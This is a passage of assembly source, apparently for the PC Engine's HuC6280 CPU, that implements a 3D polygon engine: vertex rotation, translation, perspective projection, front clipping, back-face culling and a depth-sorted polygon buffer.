<mul16b, <vertexRotationSin ;sin jsr smul16 ;xsinA addq <mul16c, <div16ans, <mul16c ;zcosA+xsinA lda <mul16d asl <mul16c+1 rol a rol <mul16d+1 asl <mul16c+1 rol a rol <mul16d+1 sta transform2DWork0+4, y lda <mul16d+1 sta transform2DWork0+5, y ;---------------- pla sta transform2DWork0, y pla sta transform2DWork0+1, y ;---------------- lda intTable+6, y tay dex jne .vertexRotationYLoop .vertexRotationYEnd: ply plx rts ;---------------------------- vertexRotationX: ;x=x y=ycosA+zsinA z=-ysinA+zcosA ;transform2DWork0 => transform2DWork0 ;vertexCount = count ;x = angle phx phy cpx #0 jeq .vertexRotationXEnd lda <vertexCount jeq .vertexRotationXEnd lda sinDataLow,x ;sin sta <vertexRotationSin lda sinDataHigh,x sta <vertexRotationSin+1 lda cosDataLow,x ;cos sta <vertexRotationCos lda cosDataHigh,x sta <vertexRotationCos+1 ldx <vertexCount cly .vertexRotationXLoop: ;---------------- lda transform2DWork0+2, y ;Y0 sta <mul16a lda transform2DWork0+3, y sta <mul16a+1 movw <mul16b, <vertexRotationCos ;cos jsr smul16 ;ycosA movq <div16ans, <mul16c lda transform2DWork0+4, y ;Z0 sta <mul16a lda transform2DWork0+5, y sta <mul16a+1 movw <mul16b, <vertexRotationSin ;sin jsr smul16 ;zsinA addq <mul16c, <div16ans, <mul16c ;ycosA+zsinA lda <mul16d+1 asl <mul16c+1 rol <mul16d rol a asl <mul16c+1 rol <mul16d rol a pha lda <mul16d pha ;---------------- lda transform2DWork0+2, y ;Y0 sta <mul16a lda transform2DWork0+3, y sta <mul16a+1 movw <mul16b, <vertexRotationSin ;sin jsr smul16 ;ysinA movq <div16ans, <mul16c lda transform2DWork0+4, y ;Z0 sta <mul16a lda transform2DWork0+5, y sta <mul16a+1 movw <mul16b, <vertexRotationCos ;cos jsr smul16 ;zcosA subq <mul16c, <mul16c, <div16ans ;-ysinA+zcosA lda <mul16d asl <mul16c+1 rol a rol <mul16d+1 asl <mul16c+1 rol a rol <mul16d+1 sta transform2DWork0+4, y lda <mul16d+1 sta transform2DWork0+5, y ;---------------- pla sta transform2DWork0+2, y pla sta transform2DWork0+3, y ;---------------- lda intTable+6, y tay dex jne .vertexRotationXLoop .vertexRotationXEnd: ply plx rts ;---------------------------- vertexTranslation2: ; phy lda <vertexCount beq .vertexTranslation2End sta <vertexCountWork cly .vertexTranslation2Loop: clc lda transform2DWork0, y adc <translationX sta transform2DWork0, y lda transform2DWork0+1, y adc <translationX+1 sta transform2DWork0+1, y clc lda transform2DWork0+2, y adc <translationY sta transform2DWork0+2, y lda transform2DWork0+3, y adc <translationY+1 sta transform2DWork0+3, y clc lda transform2DWork0+4, y adc <translationZ sta transform2DWork0+4, y lda transform2DWork0+5, y adc <translationZ+1 sta transform2DWork0+5, y lda intTable+6, y tay dec <vertexCountWork bne .vertexTranslation2Loop .vertexTranslation2End: ply rts ;---------------------------- transform2D2: ; phx phy ldx <vertexCount cly .transform2D2Loop0: lda transform2DWork0, y sta transform2DWork1, y lda transform2DWork0+1, y sta transform2DWork1+1, y lda transform2DWork0+2, y sta transform2DWork1+2, y lda transform2DWork0+3, y sta transform2DWork1+3, y lda transform2DWork0+4, y sta transform2DWork1+4, y lda transform2DWork0+5, y sta transform2DWork1+5, y ;Z0 < 128 check sec lda transform2DWork0+4, y ;Z0 sbc #128 lda transform2DWork0+5, y sbc #00 bpl .transform2D2Jump05 jmp .transform2D2Jump00 .transform2D2Jump05: ;X0 to mul16c lda transform2DWork0, y sta <mul16c lda transform2DWork0+1, y sta <mul16c+1 ;Z0 to mul16a lda transform2DWork0+4, y sta <mul16a lda transform2DWork0+5, y sta <mul16a+1 ;X0*128/Z0 jsr transform2DProc ;X0*128/Z0+centerX ;mul16a+centerX to X0 clc lda <mul16a adc <centerX sta transform2DWork0, y ;X0 lda <mul16a+1 adc <centerX+1 sta transform2DWork0+1, y ;Y0 to mul16c lda transform2DWork0+2, y sta <mul16c lda transform2DWork0+3, y sta <mul16c+1 ;Z0 to mul16a lda transform2DWork0+4, y sta <mul16a lda transform2DWork0+5, y sta <mul16a+1 ;Y0*128/Z0 jsr transform2DProc ;centerY-Y0*128/Z0 ;centerY-mul16a to Y0 sec lda <centerY sbc <mul16a sta transform2DWork0+2, y ;Y0 lda <centerY+1 sbc <mul16a+1 sta transform2DWork0+3, y jmp .transform2D2Jump01 .transform2D2Jump00: ;Z0<128 flag set lda #$00 sta transform2DWork0+4, y lda #$80 sta transform2DWork0+5, y .transform2D2Jump01: lda intTable+6, y tay dex jne .transform2D2Loop0 ply plx rts ;---------------------------- moveToTransform2DWork0: ;vertex0Addr to Transform2DWork0 phy lda <vertexCount beq .moveToTransform2DWork0End sta <vertexCountWork cly .moveToTransform2DWork0Loop: lda [vertex0Addr], y sta transform2DWork0, y iny lda [vertex0Addr],y sta transform2DWork0, y iny lda [vertex0Addr],y sta transform2DWork0, y iny lda [vertex0Addr],y sta transform2DWork0, y iny lda [vertex0Addr],y sta transform2DWork0, y iny lda [vertex0Addr],y sta transform2DWork0, y iny dec <vertexCountWork bne .moveToTransform2DWork0Loop .moveToTransform2DWork0End: ply rts ;---------------------------- putPolyBuffer: ; phx phy movw <polyBufferAddr, polyBufferStart .putPolyBufferLoop0: ldy #4 lda [polyBufferAddr], y ;COLOR bpl .polygonProc ;circle process and #$7F sta <polyLineColorNo ldy #5 lda [polyBufferAddr], y ;RADIUS stz <circleRadius+1 asl a rol <circleRadius+1 sta <circleRadius ldy #6 lda [polyBufferAddr], y ;X sta <circleCenterX ldy #7 lda [polyBufferAddr], y sta <circleCenterX+1 ldy #8 lda [polyBufferAddr], y ;Y sta <circleCenterY ldy #9 lda [polyBufferAddr], y sta <circleCenterY+1 jsr initCalcEdge jsr calcCircle jsr putPolyLine bra .nextData .polygonProc: ldy #5 lda [polyBufferAddr], y ;COUNT beq .putPolyBufferEnd sta <clip2D0Count pha ldy #4 lda [polyBufferAddr], y ;COLOR and #$7F sta <polyLineColorNo clx ldy #6 .putPolyBufferLoop1: lda [polyBufferAddr], y sta clip2D0,x inx inx iny lda [polyBufferAddr], y sta clip2D0,x inx inx iny dec <clip2D0Count bne .putPolyBufferLoop1 pla sta <clip2D0Count jsr calcEdge_putPoly .nextData: ldy #0 lda [polyBufferAddr], y tax iny lda [polyBufferAddr], y sta <polyBufferAddr+1 stx <polyBufferAddr+0 bra .putPolyBufferLoop0 .putPolyBufferEnd: ply plx rts ;---------------------------- setModel2: ; ;rotation ldy #$05 lda [modelAddr], y ;vertex count sta <vertexCount ldy #$03 lda [modelAddr], y ;vertex data address sta <vertex0Addr ldy #$04 lda [modelAddr], y sta <vertex0Addr+1 jsr moveToTransform2DWork0 lda <rotationSelect and #3 jsr selectVertexRotation lda <rotationSelect lsr a lsr a and #3 jsr selectVertexRotation lda <rotationSelect lsr a lsr a lsr a lsr a and #3 jsr selectVertexRotation ;translation subw <translationX, <eyeTranslationX subw <translationY, <eyeTranslationY subw <translationZ, <eyeTranslationZ jsr vertexTranslation2 ;eye rotation mov <rotationX, <eyeRotationX mov <rotationY, <eyeRotationY mov <rotationZ, <eyeRotationZ lda <eyeRotationSelect and #3 jsr selectVertexRotation lda <eyeRotationSelect lsr a lsr a and #3 jsr selectVertexRotation lda <eyeRotationSelect lsr a lsr a lsr a lsr a and #3 jsr selectVertexRotation ;transform2D jsr transform2D2 jsr setModelProc2 rts ;---------------------------- setModel: ; ;Rotation ldy #$05 lda [modelAddr], y ;vertex count sta <vertexCount ldy #$03 lda [modelAddr], y ;vertex data address sta <vertex0Addr ldy #$04 lda [modelAddr], y sta <vertex0Addr+1 movw <vertex1Addr, #transform2DWork0 jsr vertexMultiply ;translation ldy #$05 lda [modelAddr], y ;vertex count sta <vertexCount movw <vertex0Addr, #transform2DWork0 movw <vertex1Addr, #transform2DWork1 jsr vertexTranslation ;transform2D ldy #$05 lda [modelAddr], y ;vertex count sta <vertexCount movw <vertex0Addr, #transform2DWork1 movw <vertex1Addr, #transform2DWork0 jsr transform2D jsr setModelProc rts ;---------------------------- setModelProc2: ; ldy #$00 lda [modelAddr], y sta <modelAddrWork ;ModelData Polygon Addr iny lda [modelAddr], y sta <modelAddrWork+1 ldy #$02 lda [modelAddr], y ;Polygon Count sta <modelPolygonCount cly .setModelLoop3: phy lda [modelAddrWork], y ;ModelData Vertex Count, Front Color and #$F8 lsr a lsr a sta <setModelFrontColor lda [modelAddrWork], y ;ModelData Vertex Count, Front Color and #$07 sta <setModelCount cmp #$07 bne .polygonProc ;circle process iny lda [modelAddrWork], y ;radius sta <setModelAttr iny lda [modelAddrWork], y tax lda transform2DWork0+5, x ;Z0<128 flag jmi .setModelJump0 ;SAMPLE Z ldy #2 lda transform2DWork0+4, x sta [polyBufferAddr], y sta <mul16a iny lda transform2DWork0+5, x sta [polyBufferAddr], y sta <mul16a+1 lda <setModelAttr sta <mul16c stz <mul16c+1 jsr transform2DProc lda <mul16a jeq .setModelJump0 ldy #5 sta [polyBufferAddr], y ;radius ldy #4 lda <setModelFrontColor ora #$80 sta [polyBufferAddr], y ;COLOR lda transform2DWork0+0, x sta clip2D0 lda transform2DWork0+1, x sta clip2D0+2 lda transform2DWork0+2, x sta clip2D0+4 lda transform2DWork0+3, x sta clip2D0+6 mov <clip2D0Count, #2 jmp .setBuffer .polygonProc: ;push setModelCount for initialize front clip calculation pha iny lda [modelAddrWork], y ;ModelData Polygon Attr, Back Color sta <setModelAttr and #$F8 lsr a lsr a sta <setModelBackColor iny lda [modelAddrWork], y sta <frontClipDataWork stz <model2DClipIndexWork stz <frontClipCount stz <polyBufferZ0Work0 stz <polyBufferZ0Work0+1 ;push ModelData index for initialize front clip calculation phy ;check front clip .setModelLoop5: lda [modelAddrWork], y tax lda transform2DWork0+5, x ;Z0<128 flag bmi .setModelJump7 phy ldy <model2DClipIndexWork lda transform2DWork0, x sta clip2D0, y iny lda transform2DWork0+1, x sta clip2D0, y iny lda transform2DWork0+2, x sta clip2D0, y iny lda transform2DWork0+3, x sta clip2D0, y iny ;check Z sample sec lda <polyBufferZ0Work0 sbc transform2DWork0+4, x lda <polyBufferZ0Work0+1 sbc transform2DWork0+5, x bpl .setModelJump9 lda transform2DWork0+4, x sta <polyBufferZ0Work0 lda transform2DWork0+5, x sta <polyBufferZ0Work0+1 .setModelJump9: sty <model2DClipIndexWork ply iny dec <setModelCount bne .setModelLoop5 ply pla bra .setModelJump8 ;initialize front clip calculation .setModelJump7: ply pla dec a sta <setModelCount stz <model2DClipIndexWork stz <polyBufferZ0Work0 stz <polyBufferZ0Work0+1 ;cancel front clip calculation bbr2 <setModelAttr, .setModelLoop4 jmp .setModelJump0 ;front clip calculation .setModelLoop4: lda [modelAddrWork], y sta <frontClipData0 iny lda [modelAddrWork], y sta <frontClipData1 phy jsr clipFront ply dec <setModelCount bne .setModelLoop4 ;-------- lda [modelAddrWork], y sta <frontClipData0 lda <frontClipDataWork sta <frontClipData1 jsr clipFront lda <frontClipCount jeq .setModelJump0 .setModelJump8: sta <clip2D0Count jsr clip2D jeq .setModelJump0 ;cancel back side check bbs1 <setModelAttr, .setModelJump2 ;back side check sec lda clip2D0+8 ;X2 sbc clip2D0+4 ;X1 sta <mul16a cla sbc #0 sta <mul16a+1 sec lda clip2D0+2 ;Y0 sbc clip2D0+6 ;Y1 sta <mul16b cla sbc #0 sta <mul16b+1 jsr smul16 movq <div16ans, <mul16c sec lda clip2D0+10 ;Y2 sbc clip2D0+6 ;Y1 sta <mul16a cla sbc #0 sta <mul16a+1 sec lda clip2D0 ;X0 sbc clip2D0+4 ;X1 sta <mul16b cla sbc #0 sta <mul16b+1 jsr smul16 cmpq2 <div16ans, <mul16c bpl .setModelJump2 ;back side bbr0 <setModelAttr, .setModelJump6 jmp .setModelJump0 .setModelJump6: lda <setModelBackColor bra .setModelJump5 .setModelJump2: ;front side lda <setModelFrontColor .setModelJump5: ldy #4 sta [polyBufferAddr], y ;COLOR lda <clip2D0Count ldy #5 sta [polyBufferAddr], y ;COUNT ;SAMPLE Z ldy #2 lda <polyBufferZ0Work0 ;SAMPLE Z sta [polyBufferAddr], y iny lda <polyBufferZ0Work0+1 sta [polyBufferAddr], y ;set buffer .setBuffer: movw <polyBufferNow, #polyBufferStart .setBufferLoop: ldy #0 ;NEXT ADDR lda [polyBufferNow], y sta <polyBufferNext iny lda [polyBufferNow], y sta <polyBufferNext+1 ldy #2 ;NEXT SAMPLE Z lda [polyBufferNext], y sta <polyBufferZ0Work0 iny lda [polyBufferNext], y sta <polyBufferZ0Work0+1 ldy #2 ;SAMPLE Z sec lda [polyBufferAddr], y sbc <polyBufferZ0Work0 iny lda [polyBufferAddr], y sbc <polyBufferZ0Work0+1 bpl .setBufferJump ;SAMPLE Z >= NEXT SAMPLE Z movw <polyBufferNow, <polyBufferNext bra .setBufferLoop .setBufferJump: ldy #0 ;BUFFER -> NEXT lda <polyBufferNext sta [polyBufferAddr], y iny lda <polyBufferNext+1 sta [polyBufferAddr], y ldy #0 ;NOW -> BUFFER lda <polyBufferAddr sta [polyBufferNow], y iny lda <polyBufferAddr+1 sta [polyBufferNow], y ;set data clx ldy #6 .setModelLoop2: lda clip2D0,x sta [polyBufferAddr], y inx inx iny lda clip2D0,x sta [polyBufferAddr], y inx inx iny dec <clip2D0Count bne .setModelLoop2 ;next buffer addr clc tya adc <polyBufferAddr sta <polyBufferAddr bcc .setModelJump0 inc <polyBufferAddr+1 .setModelJump0: plx ldy intTable+6, x dec <modelPolygonCount jne .setModelLoop3 rts ;---------------------------- clipFront: ldx <frontClipData0 ldy <frontClipData1 lda transform2DWork0+5, x ;Z0<128 flag and #$80 lsr a sta <frontClipFlag lda transform2DWork0+5, y ;Z0<128 flag and #$80 ora <frontClipFlag sta <frontClipFlag jeq .clipFrontJump8 cmp #$C0 jeq .clipFrontJump9 ;clip front ;(128-Z0) to mul16a sec lda #128 sbc transform2DWork1+4, x sta <mul16a lda #0 sbc transform2DWork1+5, x sta <mul16a+1 ;(X1-X0) to mul16b sec lda transform2DWork1+0, y sbc transform2DWork1+0, x sta <mul16b lda transform2DWork1+1, y sbc transform2DWork1+1, x sta <mul16b+1 ;(128-Z0)*(X1-X0) to mul16d:mul16c jsr smul16 ;(Z1-Z0) to mul16a sec lda transform2DWork1+4, y sbc transform2DWork1+4, x sta <mul16a lda transform2DWork1+5, y sbc transform2DWork1+5, x sta <mul16a+1 ;(128-Z0)*(X1-X0)/(Z1-Z0) jsr sdiv32 ;(128-Z0)*(X1-X0)/(Z1-Z0)+X0 clc lda <mul16a adc transform2DWork1+0, x sta <mul16a lda <mul16a+1 adc transform2DWork1+1, x sta <mul16a+1 ;mul16a+centerX addw <clipFrontX, <mul16a, <centerX ;(128-Z0) to mul16a sec lda #128 sbc transform2DWork1+4, x sta <mul16a lda #0 sbc transform2DWork1+5, x sta <mul16a+1 ;(Y1-Y0) to mul16b sec lda transform2DWork1+2, y sbc transform2DWork1+2, x sta <mul16b lda transform2DWork1+3, y sbc transform2DWork1+3, x sta <mul16b+1 ;(128-Z0)*(Y1-Y0) to mul16d:mul16c jsr smul16 ;(Z1-Z0) to mul16a sec lda transform2DWork1+4, y sbc transform2DWork1+4, x sta <mul16a lda transform2DWork1+5, y sbc transform2DWork1+5, x sta <mul16a+1 ;(128-Z0)*(Y1-Y0)/(Z1-Z0) jsr sdiv32 ;(128-Z0)*(Y1-Y0)/(Z1-Z0)+Y0 clc lda <mul16a adc transform2DWork1+2, x sta <mul16a lda <mul16a+1 adc transform2DWork1+3, x sta <mul16a+1 ;centerY-mul16a subw <clipFrontY, <centerY, <mul16a bbs7 <frontClipFlag, .clipFrontJump10 ldy <model2DClipIndexWork lda <clipFrontX sta clip2D0, y iny lda <clipFrontX+1 sta clip2D0, y iny lda <clipFrontY sta clip2D0, y iny lda <clipFrontY+1 sta clip2D0, y iny sty <model2DClipIndexWork lda #128 sta polyBufferZ0Work1 stz polyBufferZ0Work1+1 inc <frontClipCount bra .clipFrontJump11 .clipFrontJump10: ldy <model2DClipIndexWork lda transform2DWork0, x sta clip2D0, y iny lda transform2DWork0+1, x sta clip2D0, y iny lda transform2DWork0+2, x sta clip2D0, y iny lda transform2DWork0+3, x sta clip2D0, y iny lda <clipFrontX sta clip2D0, y iny lda <clipFrontX+1 sta clip2D0, y iny lda <clipFrontY sta clip2D0, y iny lda <clipFrontY+1 sta clip2D0, y iny sty <model2DClipIndexWork lda transform2DWork0+4, x sta polyBufferZ0Work1 lda transform2DWork0+5, x sta polyBufferZ0Work1+1 inc <frontClipCount inc <frontClipCount bra .clipFrontJump11 .clipFrontJump8: ldy <model2DClipIndexWork lda transform2DWork0, x sta clip2D0, y iny lda transform2DWork0+1, x sta clip2D0, y iny lda transform2DWork0+2, x sta clip2D0, y iny lda transform2DWork0+3, x sta clip2D0, y iny sty <model2DClipIndexWork lda transform2DWork0+4, x sta polyBufferZ0Work1 lda transform2DWork0+5, x sta polyBufferZ0Work1+1 inc <frontClipCount .clipFrontJump11: ;check Z sample cmpw2 <polyBufferZ0Work0, <polyBufferZ0Work1 bpl .clipFrontJump9 movw <polyBufferZ0Work0, <polyBufferZ0Work1 .clipFrontJump9: rts ;---------------------------- setModelProc: ; ldy #$00 lda [modelAddr], y sta <modelAddrWork ;ModelData Polygon Addr iny lda [modelAddr], y sta <modelAddrWork+1 ldy #$02 lda [modelAddr], y ;Polygon Count sta <modelPolygonCount stz <polyBufferAddrWork0 ;ModelData Polygon .setModelLoop0: ldy <polyBufferAddrWork0 lda [modelAddrWork], y ;ModelData Vertex Count, Front Color and #$F8 lsr a lsr a sta <setModelFrontColor lda [modelAddrWork], y ;ModelData Vertex Count, Front Color and #$07 sta <setModelCountWork sta <setModelCount iny lda [modelAddrWork], y ;ModelData Polygon Attr, Back Color sta <setModelAttr and #$F8 lsr a lsr a sta <setModelBackColor iny sty <polyBufferAddrWork0 stz <polyBufferAddrWork1 ;clip2D stz <polyBufferZ0Work0 stz <polyBufferZ0Work0+1 .setModelLoop1: ldy <polyBufferAddrWork0 ;ModelData Polygon lda [modelAddrWork], y tax ldy <polyBufferAddrWork1 ;move to clip2D0 lda transform2DWork0, x ;2D X0 sta clip2D0, y inx iny lda transform2DWork0, x sta clip2D0, y inx iny lda transform2DWork0, x ;2D Y0 sta clip2D0, y inx iny lda transform2DWork0, x sta clip2D0, y inx iny sty <polyBufferAddrWork1 sec lda transform2DWork0, x ;3D Z0 sbc <polyBufferZ0Work0 inx lda transform2DWork0, x bpl .setModelJump4 ;Z0<128 flag check ;next polygon data index add <polyBufferAddrWork0, <setModelCount jmp .setModelJump0 .setModelJump4: sbc <polyBufferZ0Work0+1 bmi .setModelJump1 ;3D Z0 < polyBufferZ0Work0 dex lda transform2DWork0,x ;3D Z0 sta <polyBufferZ0Work0 inx lda transform2DWork0,x ;3D Z0 sta <polyBufferZ0Work0+1 .setModelJump1: inc <polyBufferAddrWork0 dec <setModelCount bne .setModelLoop1 ;call clip2D mov <clip2D0Count, <setModelCountWork jsr clip2D ;.setModelJump3: jeq .setModelJump0 ;back side check cancel bbs1 <setModelAttr, .setModelJump2 ;back side check sec lda clip2D0+8 ;X2 sbc clip2D0+4 ;X1 sta <mul16a cla sbc #0 sta <mul16a+1 sec lda clip2D0+2 ;Y0 sbc clip2D0+6 ;Y1 sta <mul16b cla sbc #0 sta <mul16b+1 jsr smul16 movq <div16ans, <mul16c sec lda clip2D0+10 ;Y2 sbc clip2D0+6 ;Y1 sta <mul16a cla sbc #0 sta <mul16a+1 sec lda clip2D0 ;X0 sbc clip2D0+4 ;X1 sta <mul16b cla sbc #0 sta <mul16b+1 jsr smul16 cmpq2 <div16ans, <mul16c bpl .setModelJump2 ;back side bbr0 <setModelAttr, .setModelJump6 jmp .setModelJump0 .setModelJump6: lda <setModelBackColor bra .setModelJump5 .setModelJump2: ;front side lda <setModelFrontColor .setModelJump5: ldy #4 sta [polyBufferAddr], y ;COLOR lda <clip2D0Count ldy #5 sta [polyBufferAddr], y ;COUNT clx ldy #6 .setModelLoop2: lda clip2D0, x sta [polyBufferAddr], y inx inx iny lda clip2D0, x sta [polyBufferAddr], y inx inx iny dec <clip2D0Count bne .setModelLoop2 sty <polyBufferAddrWork2 ;SAMPLE Z ldy #2 lda <polyBufferZ0Work0 ;SAMPLE Z sta [polyBufferAddr], y iny lda <polyBufferZ0Work0+1 sta [polyBufferAddr], y ;set buffer movw <polyBufferNow, #polyBufferStart .setBufferLoop: ldy #0 ;NEXT ADDR lda [polyBufferNow], y sta <polyBufferNext iny lda [polyBufferNow], y sta <polyBufferNext+1 ldy #2 ;NEXT SAMPLE Z lda [polyBufferNext], y sta <polyBufferZ0Work0 iny lda [polyBufferNext], y sta <polyBufferZ0Work0+1 ldy #2 ;SAMPLE Z sec lda [polyBufferAddr], y sbc <polyBufferZ0Work0 iny lda [polyBufferAddr], y sbc <polyBufferZ0Work0+1 bpl .setBufferJump ;SAMPLE Z >= NEXT SAMPLE Z movw <polyBufferNow, <polyBufferNext bra .setBufferLoop .setBufferJump: ldy #0 ;BUFFER -> NEXT lda <polyBufferNext sta [polyBufferAddr], y iny lda <polyBufferNext+1 sta [polyBufferAddr], y ldy #0 ;NOW -> BUFFER lda <polyBufferAddr sta [polyBufferNow], y iny lda <polyBufferAddr+1 sta [polyBufferNow], y ;next buffer addr clc lda <polyBufferAddr adc <polyBufferAddrWork2 sta <polyBufferAddr bcc .setModelJump0 inc <polyBufferAddr+1 ;unset polygon .setModelJump0: ;check triangle bbs2 <setModelCountWork, .setModelJump7 ;triangle inc <polyBufferAddrWork0 .setModelJump7: dec <modelPolygonCount jne .setModelLoop0 rts ;---------------------------- initializePolyBuffer: ; ;initialize polyBufferAddr = polyBuffer movw <polyBufferAddr, #polyBuffer ;polyBufferStart NEXT ADDR = polyBufferEnd movw polyBufferStart, #polyBufferEnd ;polyBufferStart SAMPLE Z = $7FFF movw polyBufferStart+2, #$7FFF ;polyBufferEnd SAMPLE Z = $0000 stzw polyBufferEnd+2 ;polyBufferEnd COLOR = $00 stz polyBufferEnd+4 ;polyBufferEnd COUNT = $00 stz polyBufferEnd+5 rts ;---------------------------- moveMatrix1ToMatrix0: ; tii matrix1, matrix0, 18 rts ;---------------------------- moveMatrix1ToMatrix2: ; tii matrix1, matrix2, 18 rts ;---------------------------- moveMatrix2ToMatrix0: ; tii matrix2, matrix0, 18 rts ;---------------------------- setMatrix1RotationX: ; stz matrix1+0+0 lda #$40 sta matrix1+0+1 stz matrix1+0+2 stz matrix1+0+3 stz matrix1+0+4 stz matrix1+0+5 stz matrix1+6+0 stz matrix1+6+1 lda cosDataLow, x sta matrix1+6+2 lda cosDataHigh, x sta matrix1+6+3 clc lda sinDataLow, x eor #$FF adc #$01 sta matrix1+6+4 lda sinDataHigh, x eor #$FF adc #$00 sta matrix1+6+5 stz matrix1+12+0 stz matrix1+12+1 lda sinDataLow,x sta matrix1+12+2 lda sinDataHigh, x sta matrix1+12+3 lda cosDataLow,x sta matrix1+12+4 lda cosDataHigh, x sta matrix1+12+5 rts ;---------------------------- setMatrix1RotationY: ; lda cosDataLow, x sta matrix1+0+0 lda cosDataHigh, x sta matrix1+0+1 stz matrix1+0+2 stz matrix1+0+3 lda sinDataLow, x sta matrix1+0+4 lda sinDataHigh, x sta matrix1+0+5 stz matrix1+6+0 stz matrix1+6+1 stz matrix1+6+2 lda #$40 sta matrix1+6+3 stz matrix1+6+4 stz matrix1+6+5 clc lda sinDataLow, x eor #$FF adc #$01 sta matrix1+12+0 lda sinDataHigh, x eor #$FF adc #$00 sta matrix1+12+1 stz matrix1+12+2 stz matrix1+12+3 lda cosDataLow, x sta matrix1+12+4 lda cosDataHigh, x sta matrix1+12+5 rts ;---------------------------- setMatrix1RotationZ: ; lda cosDataLow, x sta matrix1+0+0 lda cosDataHigh, x sta matrix1+0+1 clc lda sinDataLow, x eor #$FF adc #$01 sta matrix1+0+2 lda sinDataHigh, x eor #$FF adc #$00 sta matrix1+0+3 stz matrix1+0+4 stz matrix1+0+5 lda sinDataLow, x sta matrix1+6+0 lda sinDataHigh, x sta matrix1+6+1 lda cosDataLow, x sta matrix1+6+2 lda cosDataHigh, x sta matrix1+6+3 stz matrix1+6+4 stz matrix1+6+5 stz matrix1+12+0 stz matrix1+12+1 stz matrix1+12+2 stz matrix1+12+3 stz matrix1+12+4 lda #$40 sta matrix1+12+5 rts ;---------------------------- vertexTranslation: ; .vertexTranslationLoop: cly clc lda [vertex0Addr], y adc <translationX sta [vertex1Addr], y iny lda [vertex0Addr], y adc <translationX+1 sta [vertex1Addr], y iny clc lda [vertex0Addr], y adc <translationY sta [vertex1Addr], y iny lda [vertex0Addr], y adc <translationY+1 sta [vertex1Addr], y iny clc lda [vertex0Addr], y adc <translationZ sta [vertex1Addr], y iny lda [vertex0Addr], y adc <translationZ+1 sta [vertex1Addr], y iny clc lda <vertex0Addr adc #$06 sta <vertex0Addr bcc .vertexTranslationJump00 inc <vertex0Addr+1 .vertexTranslationJump00: clc lda <vertex1Addr adc #$06 sta <vertex1Addr bcc .vertexTranslationJump01 inc <vertex1Addr+1 .vertexTranslationJump01: dec <vertexCount bne .vertexTranslationLoop rts ;---------------------------- vertexMultiply: ; .vertexMultiplyLoop2: clx .vertexMultiplyLoop1: stz <vertexWork stz <vertexWork+1 stz <vertexWork+2 stz <vertexWork+3 cly .vertexMultiplyLoop0: lda [vertex0Addr], y sta <mul16a iny lda [vertex0Addr], y sta <mul16a+1 iny lda matrix2, x sta <mul16b inx lda matrix2, x sta <mul16b+1 inx jsr smul16 addq <vertexWork, <mul16c, <vertexWork cpy #6 bne .vertexMultiplyLoop0 lda <vertexWork+2 asl <vertexWork+1 rol a rol <vertexWork+3 asl <vertexWork+1 rol a rol <vertexWork+3 sta [vertex1Addr] inc <vertex1Addr bne .vertexMultiplyJump00 inc <vertex1Addr+1 .vertexMultiplyJump00: lda <vertexWork+3 sta [vertex1Addr] inc <vertex1Addr bne .vertexMultiplyJump01 inc <vertex1Addr+1 .vertexMultiplyJump01: cpx #18 bne .vertexMultiplyLoop1 clc lda <vertex0Addr adc #$06 sta <vertex0Addr bcc .vertexMultiplyJump02 inc <vertex0Addr+1 .vertexMultiplyJump02: dec <vertexCount bne .vertexMultiplyLoop2 rts ;---------------------------- matrixMultiply: ; stz vertex1Addr cly clx .matrixMultiplyLoop0: lda matrix0, x sta <mul16a lda matrix0+1, x sta <mul16a+1 lda matrix1, y sta <mul16b lda matrix1+1, y sta <mul16b+1 jsr smul16 movq <vertexWork, <mul16c ;---------------- lda matrix0+6, x sta <mul16a lda matrix0+7, x sta <mul16a+1 lda matrix1+2, y sta <mul16b lda matrix1+3, y sta <mul16b+1 jsr smul16 addq <vertexWork, <mul16c, <vertexWork ;---------------- lda matrix0+12, x sta <mul16a lda matrix0+13, x sta <mul16a+1 lda matrix1+4, y sta <mul16b lda matrix1+5, y sta <mul16b+1 jsr smul16 addq <vertexWork, <mul16c, <vertexWork ;---------------- lda <vertexWork+2 asl <vertexWork+1 rol a rol <vertexWork+3 asl <vertexWork+1 rol a rol <vertexWork+3 phx ldx <vertex1Addr sta matrix2, x inx lda <vertexWork+3 sta matrix2, x inx stx <vertex1Addr plx inx inx cpx #6 jne .matrixMultiplyLoop0 clx clc tya adc #6 tay cpy #18 jne .matrixMultiplyLoop0 rts ;---------------------------- transform2D: ; .transform2DLoop0: ;Z0 < 128 check ldy #$04 sec lda [vertex0Addr], y sbc #128 iny lda [vertex0Addr], y sbc #00 jmi .transform2DJump00 ;X0 to mul16c ldy #$00 lda [vertex0Addr], y sta <mul16c iny lda [vertex0Addr], y sta <mul16c+1 ;Z0 to mul16a ldy #$04 lda [vertex0Addr], y sta <mul16a iny lda [vertex0Addr], y sta <mul16a+1 ;X0*128/Z0 jsr transform2DProc ;X0*128/Z0+centerX ;mul16a+centerX to vertex1Addr X0 ldy #$00 clc lda <mul16a adc <centerX sta [vertex1Addr], y iny lda <mul16a+1 adc <centerX+1 sta [vertex1Addr], y ;Y0 to mul16c ldy #$02 lda [vertex0Addr], y sta <mul16c iny lda [vertex0Addr], y sta <mul16c+1 ;Z0 to mul16a ldy #$04 lda [vertex0Addr], y sta <mul16a iny lda [vertex0Addr], y sta <mul16a+1 ;Y0*128/Z0 jsr transform2DProc ;centerY-Y0*128/Z0 ;centerY-mul16a to vertex1Addr Y0 ldy #$02 sec lda <centerY sbc <mul16a sta [vertex1Addr], y iny lda <centerY+1 sbc <mul16a+1 sta [vertex1Addr], y ;Z0>=128 flag set ;Z0 set iny lda [vertex0Addr], y sta [vertex1Addr], y iny lda [vertex0Addr], y sta [vertex1Addr], y jmp .transform2DJump01 .transform2DJump00: ;Z0<128 flag set ldy #$04 lda #$00 sta [vertex1Addr], y iny lda #$80 sta [vertex1Addr], y .transform2DJump01: addwb <vertex0Addr, #$06 addwb <vertex1Addr, #$06 dec <vertexCount jne .transform2DLoop0 rts ;---------------------------- transform2DProc: ;mul16a(rough value) = (mul16c(-32768_32767) * 128 / mul16a(1_32767)) ;push x phx ;push y phy ;c sign lda <mul16c+1 pha bpl .jp00 ;c neg sec cla sbc <mul16c sta <mul16c cla sbc <mul16c+1 sta <mul16c+1 .jp00: stz <muladdr ;get div data ldy <div16a+1 lda divbankdata, y tax tam #$02 lda muladdrdata, y sta <muladdr+1 ldy <div16a lda [muladdr], y sta <sqrt64a clc txa adc #4 ;carry clear tam #$02 lda [muladdr], y sta <sqrt64a+1 txa adc #8 ;carry clear tam #$02 lda [muladdr], y sta <sqrt64a+2 ;mul mul16c low byte ldy <mul16c lda mul2bankdata, y tam #$02 lda mul2addrdata, y sta <muladdr+1 ldy <sqrt64a lda [muladdr], y sta 